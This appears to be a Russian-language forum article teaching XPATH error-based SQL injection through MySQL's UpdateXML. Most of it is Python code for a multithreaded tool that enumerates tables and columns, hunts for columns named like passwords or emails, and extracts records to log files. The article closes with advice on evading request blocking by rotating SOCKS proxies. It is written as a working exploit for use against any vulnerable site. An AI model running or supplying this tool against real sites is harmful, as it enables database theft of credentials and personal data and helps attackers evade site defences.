XPATH error based
Впервые встретил данный тип уязвимости, когда раскручивал union error-based, я не увидел ожидаемого duplicate key. Изначально, не разобравшись в чём дело, я перепробывал все возможные варианты стандартных инъекций, но не один вариант не работал. Тогда приступил к изучению данной темы и нашел ответы в функциях для работы с xml. Таких, которые могут выдавать нам ошибки с ответами, есть несколько. Наш пример мы рассмотрим на базе UpdateXML. Синтаксис команды следующий:
Код:
UpdateXML(xml_target, xpath_expr, new_xml)
У данных функций недостаток — вывод ограниченного количества символов. Во многих случаях, к примеру имена таблиц не будут превышать лимита на вывод символов, а если где-то превысит, можно воспользоваться функцией substr(). Но тогда мы задумаемся об именах колонок, сколько времени займёт их вылавливание. А скажем, если некоторые таблицы заполнены по 70 — 80 записей? Не говоря уже о данных, извлекать к примеру md5 хэши, а записей несколько десяток тысяч… Вот она рутина в чистом виде. Рутина - это не наша тема! Сегодня я расскажу тебе как, используя Python, заставить СУБД отдавать данные быстро.
Немного о Python
Я считаю, что учиться программировать, собирать свои инструменты нужно на том языке, на котором тебе комфортно. Если понятен синтаксис, есть все необходимые библиотеки для твоих задач — изучай, пиши, наслаждайся. Кодить должно быть легко и просто, тогда это твой язык. Python обладает простым синтаксисом, а так же широким набором мощных библиотек, для работы с вебом, с post, get запросами, потоками, регулярками - всё что нужно для наших задач. Я начал его изучать сравнительно недавно, после Perl было немного не привычно, но за небольшое количество времени адаптировался и теперь волне себе думается на Python.
Формируем ТЗ
Прежде чем приступить к кодингу, нужно сформулировать задачу. Исследовать базы данных, через уязвимость, о которой идёт речь в этой статье, длительный процесс. Представь всё то, что отнимает твоё время на монотонные задачи, и переложи это на компьютер. Мне нужно, чтобы я вбил уязвимый линк c XPATH error-based, а скрипт мне выдал имена таблиц и имена колонок быстро, пока делаю чай. Интересно? Да? Но на мой взгляд этого мало, дальше ковыряй колонки, ищи что где лежать может, поэтому пусть проверит сразу имена колонок на определённые фразы. Скажем, если встречается колонка adminsuperpassw, то пусть при вводе в список pass выдаст мне эту колонку с названием таблицы. Для большей ясности следует реализовать вывод случайной записи из каждой таблицы, где найдено совпадение.
Вот и накидали более-мение понятное ТЗ. Экономия времени очевидна, если подумать, всё это руками разгребать полдня можно. Дальше думаем как мы будем решать поставленные задачи.
Находим нужный подход
Что приходит в голову? Правильно - использовать многопоточность. Разбить запросы на определённые кусочки, затем каждым потоком одновременно тащить инфу, объединять её где-то в списке. И тут приходит на ум аббревиатура GIL( Global Interpreter Lock), что обозначает только одно - в Python мы не можем использовать одновременно несколько потоков, так как, из-за вышеописанной блокировки, позволено только одному потоку управлять интерпретатором. Но мы не опускаем руки, ищем дальше… и находим, модуль под названием concurrent.futures . Описывать все его возможности я не стану, так как это потянет ещё на одну статью. Скажу главное и одно из важнейших понятий этого модуля — параллелизм, звучит устрашающе, не так ли? Мы можем запускать множество потоков и процессов одновременно, обходя GIL. Количество можно указать с помощью параметра max_workers, у нас есть классы ThreadPoolExecutor, ProcessPoolExecutor соответственно и функция map. С подходом мы разобрались. Так же импортируем модуль requests для работы с get запросами. Искать стандартными методами, то есть в ответах на запросы, мы конечно же не станем. Это тоже противоречит нашей концепции ( скорость - это жизнь ). Используем регулярки, для этого импортируем модуль re. Так же импортируем модуль os - для работы с файлами и random - для функции выдёргивания случайный записей с бд. Получилось вот так:
Python:
import re
import requests
import random
import os
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
Ещё было бы неплохо определиться с переменными, которые мы будем использовать:
Python:
POOLCOUNTS = 16 # Тут мы указываем количество потоков и процессов
tblnum_start = '1' # Забиваем с какого номера таблицы начинаем, 1 по умолчанию
tbldata = [] # Тут появиться список с названиями таблиц которые мы будем исследовать
tbldata2 = '' # Переменная для временного хранения имени таблицы
colnum = [] # Здесь появиться список номеров таблиц
colname = [] # Имена колонок в таблице
x2 = [] # Данные из таблицы
rn = 0 # Случайный номер записи в таблице
Пишем основной набор функций
Python:
def GetTABNUM(): # Функция получает все номера таблицы в базе, и наполняет список массивом необходимых нам номеров
global tblnum_start
""" Sql запрос который выводит количество таблиц. """
count_get = '\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),count(1)) FROM information_schema.tables)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", count_get ,vulnUrl)
resp01 = requests.get(rvulnUrl)
""" Теперь с помощью заранее подготовленного регулярного выражения XPATH syntax error: \'.+\'
мы найдём нужный нам фрагмент и с помощью функции sub() зарежем её до совсем чистейшего вида.
Регулярку нужно подготавливать заранее, посмотрев как выглядит ответ. Но можно и собрать очень
универсальную, всё зависит от твоей фантазии. """
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
if data.isdigit() != True:
print(f'Подкорректируй регулярные выражения под свой вывод ошибки. - {data}')
exit()
tblnum_end = int (data)
if int(tblnum_end) > 5 and int(tblnum_end) != 0:
print(f'{tblnum_end} - таблиц в БД.\n' )
tblnum_start = input('Введи номер таблицы с которого необходимо начать: ')
else:
print(f'{tblnum_end} - таблицы в БД.\n' )
tblnum_start = input('Введи номер таблицы с которого необходимо начать: ')
if int(tblnum_end) < int(tblnum_start):
print('Номер стартовой таблицы больше конечного.')
exit()
""" Наполняем список colnum []"""
for k in range(int(tblnum_start),tblnum_end,1):
colnum.append(k)
Теперь необходимо узнать имена таблиц, для этого создаём функцию принимающую параметр с номером таблицы:
Python:
def GetTAB(nCNF):# Читаем таблицы из базы
""" Подготавливаем SQL запрос, здесь он указан в таком виде, это можно подкорректировать под конкретный частный случай."""
table_name = '\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),table_name) FROM information_schema.tables LIMIT '+ str(nCNF) + ', 1)),0) or \''
""" Здесь мы собираем готовую инъекцию. """
rvulnUrl = re.sub(r"\{inj\}", table_name ,vulnUrl)
""" А здесь отправляем запрос. """
resp01 = requests.get(rvulnUrl)
""" Ниже мы парсим search() нужные нам строки из ответа,
а так же чистим всё лишнее фукцией sub(),
чтоб получить чистые имена таблиц. """
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
tbldata.append(data)
Так же напишем функцию для поиска количества колонок в указанной таблице:
Python:
def GetTABColNum(tabname): # Функция возвращает количество колонок заданной таблицы
""" Переводим название таблицы в ASCII """
tntoascii = tabname;tntoascii = 'CHAR('+''.join(str(ord(i)) + ',' for i in tntoascii);tntoascii = tntoascii[:-1] + ')';
""" SQL запрос """
column_count = '\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),count(1)) FROM information_schema.columns where table_name=' + str(tntoascii) + ')),0) or \''
rvulnUrl = re.sub(r"\{inj\}", column_count ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
cnum = int(data)
return cnum # возвращаем количество колонок
И функцию которая будет получать имена колонок:
Python:
def GetTABColName(count1): # Функция получает имена колонок таблицы
tntoascii = tbldata2;tntoascii = 'CHAR('+''.join(str(ord(i)) + ',' for i in tntoascii);tntoascii = tntoascii[:-1] + ')';
""" SQL запрос """
column_name = '\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),column_name) FROM information_schema.columns where table_name=' + str(tntoascii) + ' limit ' + str(count1) + ',1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", column_name ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
colname.append(data) # и наполняет список colname
Исходя из ТЗ, нам не хватает функции для поиска совпадений символов, опишем её ниже:
Python:
def findsymb(pl2): # Функция ищет совпадения в колонках, в качестве аргумента принимает символы из списка parselist
global colname, tbldata2, tbldata3, rn
parseres = re.search(pl2,str(colname))
print(f"Набор символов {parseres.group()} найден в таблице {tbldata2}\n")
tbldata3 = tbldata2
""" Первым делом узнаём сколько записей в таблице"""
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),count(1)) FROM {tbldata3})),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
nw = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));nw = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',nw.group());
""" Генерируем случайное число от 0 до крайнего номера записи в таблице"""
rn = random.randint(0,int(nw))
with ThreadPoolExecutor(max_workers=POOLCOUNTS) as p:
p.map(randomdata,colname)
with open(scrpath + "/log_parsed.txt","a+") as f1:
f1.write(f'Совпадение:{parseres.group()}\nTABLE: {tbldata3}\nCOLUMNS: {colname}\nNUM: {rn} from {nw}.\nDATA: {str(x2)}\n\n')
rn = 0
Здесь, используя регулярные выражения, мы находим искомую фразу pl2 в массиве colname, если такой фрагмент встречается, оповещаем об этом в консоле и логируем в текстовике.
Разобравшись с основными функциями, плавно переходим к тем, которые будут с ними работать. Напишем такую, которая будет запускать наши процессы по получению имён таблиц и колонок, а также давать команду на поиск фраз в названиях колонок. Но перед этим, в главном теле скрипта выполним следующий код:
Python:
GetTABNUM()
with ThreadPoolExecutor(max_workers=POOLCOUNTS) as pool:
pool.map(GetTAB,colnum)
Получаем список номеров таблиц, выполняя функцию GetTABNUM(). Дальше мы используем пул потоков ThreadPoolExecutor. Указываем необходимое количество ( max_workers=) и используем конструкцию with. Очень удобная штуковина, она не даёт сыпаться скрипту, даже если возникает ошибка. Один из более практичных примеров её применения есть у меня в скрипте, в месте где запускается пул потоков на функцию findsymb(). В функции нет необходимости описывать процесс проверки того, что нашла регулярка - если там будет None, то вывода, записи и ошибки не будет, благодаря тому, что потоки и функция запущены в конструкции with. И вот мы постепенно подобрались к функции map(), а вся её суть в том, что можно запустить конкретную функцию с разными параметрами, указанными в colnum параллельно. Допустим в нашем списке 5 таблиц colnum [0,1,2,3,4]. После выполнения pool.map(GetTAB,colnum) и при условии, что указано больше 5 потоков в max_workers, мы получим параллельное выполнение сразу 5 задач:
Python:
GetTAB(0)
GetTAB(1)
GetTAB(2)
GetTAB(3)
GetTAB(4)
В результате практически моментально получаем названия 5 таблиц в список tbldata. Теперь описываем основную функцию strProc(tbld):
Python:
def strProc(tbld): # Данная функция принимает имя таблицы и запускает дальнейшие процессы для получения количества колонок и их имена
global colname, tbldata2, parselist
x = []
result = GetTABColNum(tbld)
for _ in range(result):
x.append(_)
tbldata2 = tbld
with ThreadPoolExecutor(max_workers=POOLCOUNTS) as pool12:
pool12.map(GetTABColName,x)
print(tbldata2 + ' ' + str(result)+ ' ' + str(colname))
with open(scrpath + "/log_columnname.txt","a+") as f1:
f1.write(tbldata2 + ' ' + str(result)+ ' ' + str(colname)+'\n\n')
with ThreadPoolExecutor(max_workers=POOLCOUNTS) as exec11:
exec11.map(findsymb,parselist)
"""Обнуляем переменные"""
colname = []
x = []
Эту функцию мы запустим в пуле процессов. В качестве аргумента используем список с именами таблиц.
Python:
with ProcessPoolExecutor(max_workers=POOLCOUNTS) as tr:
tr.map(strProc,tbldata)
Итак, давай протестируем на моём уязвимом сайте, размещённым на впс. В базе у меня 149 таблиц. Сколько же времени затратит скрипт, что бы достать 120 из них?
Мы получили чуть более 2-ух минут, и это полная структура базы из 120 таблиц - со всеми именами колонок. Теперь добавим поиск в колонках фраз ( pass email ) и посмотрим сколько это займёт времени.
Получилось быстрее. Почему так происходит? Проверка на совпадения занимает незаметное количество времени, а результат зависит от качества интернет-соединения. При запуске с поиском фраз данные где-то быстрее проскочили, ответ прилетел быстрее и так далее.
SUBSTRING во всей красе
Приправим наш скрипт функцией получения данных с таблицы и занесением в лог. Для большей ясности, я не стал разбивать на несколько функций, а реализовал в одной. Здесь ответы могут быть больше 30 символов и поэтому мы используем функцию SubSTR. Приступим, пишем функцию:
Python:
def randomdata(cln): # Функция для извлечения данных их таблицы в случайном порядке
global x2, tbldata2, vulnUrl, rn
""" Преобразуем в ASCII """
ttoascii = cln;ttoascii = 'CHAR('+''.join(str(ord(i)) + ',' for i in ttoascii);ttoascii = ttoascii[:-1] + ')';
""" Тут используя функцию CHAR_LENGTH узнаём сколько у нас символов в записи ttoascii под случайным номером rn """
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),CHAR_LENGTH({ttoascii})) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
columnlen = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));columnlen = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',columnlen.group());
""" Обычно updatexml() выводит до 31 симовола, максимальное количество символов которое может хранить колонка
64. Зная вышеописанное, собираем набор условий и наполняем список x2 ."""
if int(columnlen) <= 30:
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),{cln}) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
x2.append(data)
elif int(columnlen) > 30 and int(columnlen) <= 60:
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),{cln}) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
jtext = data
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),substr({cln},31)) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
jtext += data
x2.append(jtext)
elif int(columnlen) > 60:
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),{cln}) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
jtext = data
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),substr({cln},31)) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
jtext += data
inject1 = f'\' or updatexml(1,concat(0x7e,(SELECT concat_ws(char(124),substr({cln},61)) FROM {tbldata2} limit {rn},1)),0) or \''
rvulnUrl = re.sub(r"\{inj\}", inject1 ,vulnUrl)
resp01 = requests.get(rvulnUrl)
data = re.search(r'XPATH syntax error: \'.+\'',str(resp01.text));data = re.sub(r'XPATH syntax error: \'~|\'|\'.+','',data.group());
jtext += data
x2.append(jtext)
Пример выполнения данной функции увидим в файле log_parsed. Если в колонках будут присутствовать фразы, указанные при выполнения скрипта, то эта функция автоматически скопирует случайную запись из таблицы, с сохранением всей длины колонки. А теперь представь, что всё это происходит за 2 минуты, это время отделяет тебя от момента, когда ты нашёл XPATH error based и от полной инфы с записями бд в текстовике на твоём жёстком диске. Всё это - капля в море, только представь как можно развить эту тему.
Подводные камни
Иногда можно столкнуться с проблемой - кроется она в блокировке некоторыми ресурсами с помощью специализированного софта многочисленных запросов. Тут конечно же мы можем поиграться с количеством потоков и процессов, выбрав необходимое, можем добавить задержки... но всё это — шаг назад. Всегда нужно идти по пути ускорения, заполняя узкое местечко так плотно, насколько возможно, главное не сбавлять оборотов… - это я о запросах и ответах конечно же
Мои мысли по поводу того, как обойти подобные ограничения: объёмный список соксов - это уже половина успеха. Далее нужно написать чекер, который будет, с помощью параллельного программирования, быстро пинговать наш список и выбирать самые быстрые. Затем нужно отправлять запросы через соксы:1 сокс - 1 запрос. Конечно немного потеряем во времени, но это будет гараздо стабильнее и быстрее других методов. В python есть такой модуль — PySocks. В какой-нибудь из последующих статей я познакомлю тебя с ним.
Заключение
Программирование — увлекательный и интересный процесс, а если его совмещать с темой ИБ, то вдвойне. Какую бы сторону ты ни выбрал, делая свои инструменты, ты на несколько шагов впереди. Ведь здесь можно всё настроить и придумать так, как тебе это необходимо. Можно вложить свой опыт и знания и создать мощнейшие инструменты для пентеста. Из минусов - можно найти необходимость постоянно где-то что-то допиливать и подправлять, но это одновременно и плюс, ведь поправить свой код всегда быстрее и проще. Так что всё ограничевается твоей фантазией. Твори и создавай! Полный и задокументированный код можно найти на моём github: https://github.com/nikit00Zz/